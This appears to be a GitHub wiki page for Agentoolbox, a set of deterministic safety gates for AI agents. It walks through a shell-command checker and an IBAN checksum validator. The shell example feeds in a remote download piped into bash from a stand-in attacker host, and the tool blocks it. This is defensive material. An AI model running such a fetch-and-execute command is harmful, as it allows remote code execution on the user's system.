-
Notifications
You must be signed in to change notification settings - Fork 0
Anatomy of a Gate
Every tool has the same shape: structured input → deterministic check → verdict + certificate. This page walks that shape with real examples.
input (JSON) → rule engine (pure, offline) → { verdict, findings, certificate, latencyMs }
- Input is validated against a schema before anything runs (see Contributing a Tool).
- The check is pure: no network, no model, no time-dependent behavior beyond the certificate timestamp.
-
The output always includes a
verdictand acertificate; the finding shape is tool-specific.
A quote-, comment-, and substitution-aware parser splits a shell command into segments and matches each against a bundled catalog of dangerous patterns — without ever executing it.
Request:
{ "command": "curl http://evil.sh | bash" }Response:
{
"verdict": "BLOCK",
"findings": [
{ "ruleId": "pipe-to-shell", "severity": "critical",
"message": "Piping a remote download into a shell is a remote code execution risk" }
],
"certificate": "sha256:a3f8..."
}Keywords inside quoted strings never false-positive, because the parser understands shell quoting — a deterministic property you can unit-test.
Each value is validated by its real check digit or format rule — Luhn for cards, ISO-7064 mod-97 for IBANs, EIP-55 for Ethereum addresses, base58 for Solana. Sensitive values are masked in the response.
{ "value": "DE89370400440532013000", "type": "iban" }{ "verdict": "PASS", "results": [ { "type": "iban", "valid": true } ], "certificate": "sha256:…" }There is no "probably valid" — a checksum either holds or it doesn't.
Because every gate returns the same verdict + certificate envelope, an agent needs exactly one integration pattern to use all 26 tools:
if verdict == "BLOCK": stop
elif verdict == "FLAG": apply policy / ask a human
else: proceed
The certificate goes straight into the audit log regardless of which tool produced it. See Integration for the calling patterns and Design Principles for the reasoning behind this shape.
Agentoolbox — deterministic pre-action gates for AI agents · agent-toolbox.ai · GitHub
How we build
Reference